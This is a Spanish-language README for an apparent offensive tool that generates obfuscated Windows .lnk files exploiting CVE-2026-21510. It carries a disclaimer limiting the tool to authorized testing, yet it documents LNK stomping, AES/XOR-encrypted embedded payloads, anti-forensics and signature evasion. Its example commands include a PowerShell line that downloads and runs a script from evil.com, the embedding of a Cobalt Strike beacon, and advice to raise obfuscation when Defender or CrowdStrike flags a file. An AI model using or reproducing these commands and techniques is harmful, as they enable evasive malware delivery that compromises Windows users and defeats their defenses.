
Genera archivos .lnk ofuscados que explotan CVE-2026-21510 con LNK stomping, payloads cifrados y antiforense para pruebas de penetración autorizadas y operaciones de red team.
README EpSiLoNPoInTlnk CVE-2026-21510 - Generador de .LNK Herramienta para la generación de archivos .lnk que utilizan la vulnerabilidad CVE-2026-21510 (Windows ShellLink Remote Code Execution). Diseñada para la investigación en seguridad ofensiva, pruebas de penetración autorizadas y análisis de vulnerabilidades.
Aviso Legal ⚠️ ESTA HERRAMIENTA ESTÁ DESTINADA ÚNICAMENTE A UN USO LEGAL Y AUTORIZADO. Cualquier uso no autorizado contra sistemas o redes violaría las leyes locales e internacionales (ej: Computer Fraud and Abuse Act (CFAA), RGPD, Ley Godfrain en Francia). El autor declina toda responsabilidad en caso de mal uso. (Ver la Cláusula de No Responsabilidad a continuación.)
Descripción Este generador crea archivos .lnk ofuscados para utilizar CVE-2026-21510, una vulnerabilidad en el procesamiento de accesos directos de Windows. Integra:
LNK Stomping (5 variantes: dot, path_segment, relative, double_extension, unicode)
PropertyStore con CLSID aleatorios y PKEY
KnownFolderDataBlock (KnownFolderID aleatorios o dirigidos)
EnvironmentVariableDataBlock (ofuscación Unicode, variables dinámicas)
Ofuscación (Niveles 1-5: TrackerDataBlock, ConsoleDataBlock, bloques aleatorios)
Payloads integrados y cifrados (AES-256-CBC + XOR)
Anti-Forense (marcas de tiempo a 0, tamaño de archivo a 0, metadatos mínimos)
Evasión EDR/AV (procesos legítimos, argumentos ofuscados en PowerShell)
Generación de variantes aleatorias (10+ variantes únicas para evitar firmas)
Requisitos Sistema SO: Windows (para probar los .lnk generados) o Linux/macOS (para la generación).
Python: ≥ 3.10. Dependencias: pip install pycryptodome
Herramientas Recomendadas Análisis: PEStudio, Detect It Easy (DIE)
Depuración: x64dbg, WinDbg
Pruebas: Máquina virtual Windows (ej: Windows 10/11 en VirtualBox) aislada.
Instalación Clonar el repositorio: git clone https://github.com/EpSiLoNPoInT/EpSiLoNPoInTlnk.git cd EpSiLoNPoInTlnk Instalar las dependencias: pip install -r requirements.txt (Opcional) Crear un entorno virtual: python -m venv venv source venv/bin/activate # Linux/macOS venv\Scripts\activate # Windows
Uso
Generación Básica python lnkstomperpoint.py --target "C:\Windows\System32\cmd.exe" --args "/c calc.exe" --output exploit.lnk Genera un .lnk que utiliza CVE-2026-21510 para lanzar calc.exe.
Opciones Avanzadas Opción Descripción Valor por defecto --target Ruta objetivo (ej: C:\Windows\System32\cmd.exe) C:\Windows\System32\cmd.exe --args Argumentos para el objetivo (ej: /c whoami) /c calc.exe --output Ruta de salida del .lnk ./EpSiLoNPoInTlnk_[TIMESTAMP].lnk --working-dir Directorio de trabajo C:\Windows\System32 --description Descripción del acceso directo Cadena aleatoria --unc Usar una ruta UNC (?\C:...) False --lnk-stomping Activar el LNK Stomping True --stomping-variant Variante de LNK Stomping (dot, path_segment, relative, double_extension, unicode, random) random --obfuscation Añadir bloques ExtraData innecesarios True --obfuscation-level Nivel de ofuscación (1-5) 5 --embed-payload Ruta a un archivo para integrar (ej: payload.bin) None --encrypt-payload Cifrar el payload (AES-256-CBC + XOR) True --anti-forensics Aplicar técnicas anti-forenses True --randomize-clsid Aleatorizar el CLSID en PropertyStore True --randomize-known-folder Aleatorizar el KnownFolderID True --obfuscate-arguments Ofuscar los argumentos (PowerShell) True --generate-variants Generar N variantes aleatorias 0 --debug Modo depuración avanzado (registros detallados) False
Ejemplos
Ejemplo 1: Exploit con Payload Integrado
python lnkstomperpoint.py
--target "C:\Windows\System32\cmd.exe"
--args "/c payload.exe"
--embed-payload ./malware.bin
--output exploit_with_payload.lnk
--obfuscation-level 5
--anti-forensics
Genera un .lnk con un payload cifrado (AES-256 + XOR) y ofuscado.
Ejemplo 2: Generación de 10 Variantes Aleatorias
python lnkstomperpoint.py
--target "C:\Windows\System32\powershell.exe"
--args "-nop -ep bypass -c IEX (New-Object Net.WebClient).DownloadString('http://evil.com/shellcode.ps1')"
--generate-variants 10
--output-dir ./variants
Crea 10 variantes únicas para evitar firmas EDR/AV.
Ejemplo 3: Modo Minimalista (para pruebas)
python lnkstomperpoint.py
--target "C:\Windows\System32\notepad.exe"
--obfuscation False
--anti-forensics False
--output minimal_exploit.lnk
Genera un .lnk no ofuscado (para análisis o depuración).
Funcionamiento Técnico
Cabecera ShellLink (0x4C octetos fijos + offsets): LinkCLSID: 00021401-0000-0000-C000-000000000046 (obligatorio). LinkFlags: Configurado para activar HasRelativePath, HasWorkingDir, IsUnicode, etc.
StringData: RelativePath: Ruta objetivo (con LNK Stomping si está activado). WorkingDir: Directorio de trabajo (ej: C:\Windows\System32). Arguments: Argumentos ofuscados (PowerShell, cmd, etc.).
Bloques ExtraData (orden crítico): PropertyStoreDataBlock: Contiene PKEY_AppUserModel_ID (CLSID aleatorio). KnownFolderDataBlock: Apunta a una carpeta del sistema (ej: %SystemRoot%). EnvironmentVariableDataBlock: Fuerza la expansión de variables antes del Mark-of-the-Web (MotW). Bloques de Ofuscación (según obfuscation_level): TrackerDataBlock (Nivel 1) ConsoleDataBlock (Nivel 2) DarwinDataBlock, ShimDataBlock, etc. (Niveles 3-5)
Payload Integrado (si --embed-payload): Cifrado con AES-256-CBC + XOR.
El payload se cifra con AES-256-CBC (clave aleatoria de 32 octetos, IV de 16 octetos).
Se aplica una capa XOR con los primeros 16 octetos de la clave AES.
La clave y el IV se almacenan en un ShimDataBlock para descifrado posterior.
Pruebas y Validación
El tamaño mínimo del archivo.
La validez del HeaderSize y del CLSID.
La presencia de los LinkFlags requeridos.
La estructura de los bloques ExtraData (PropertyStore, KnownFolder, etc.).
Ejecución (en un entorno aislado): Hacer doble clic en el .lnk y observar el comportamiento. Usar Process Monitor (ProcMon) para analizar las llamadas al sistema.
Detección EDR/AV: Probar con herramientas como Windows Defender o CrowdStrike. Si el .lnk es detectado, aumentar el obfuscation_level o desactivar ciertas opciones.
Casos de Uso Escenario Comando Descripción Prueba de Penetración --target "C:\Windows\System32\cmd.exe" --args "/c whoami" Verifica si el exploit funciona en una máquina objetivo. Red Team --embed-payload ./cobaltstrike_beacon.bin --obfuscation-level 5 Genera un .lnk con un payload Cobalt Strike ofuscado. Investigación --generate-variants 50 --output-dir ./samples Crea 50 variantes para probar las detecciones EDR. Depuración --debug --obfuscation False Muestra registros detallados para analizar la estructura del .lnk. Contribuciones ¡Las contribuciones son bienvenidas! Así es como contribuir:
Haz un fork del proyecto.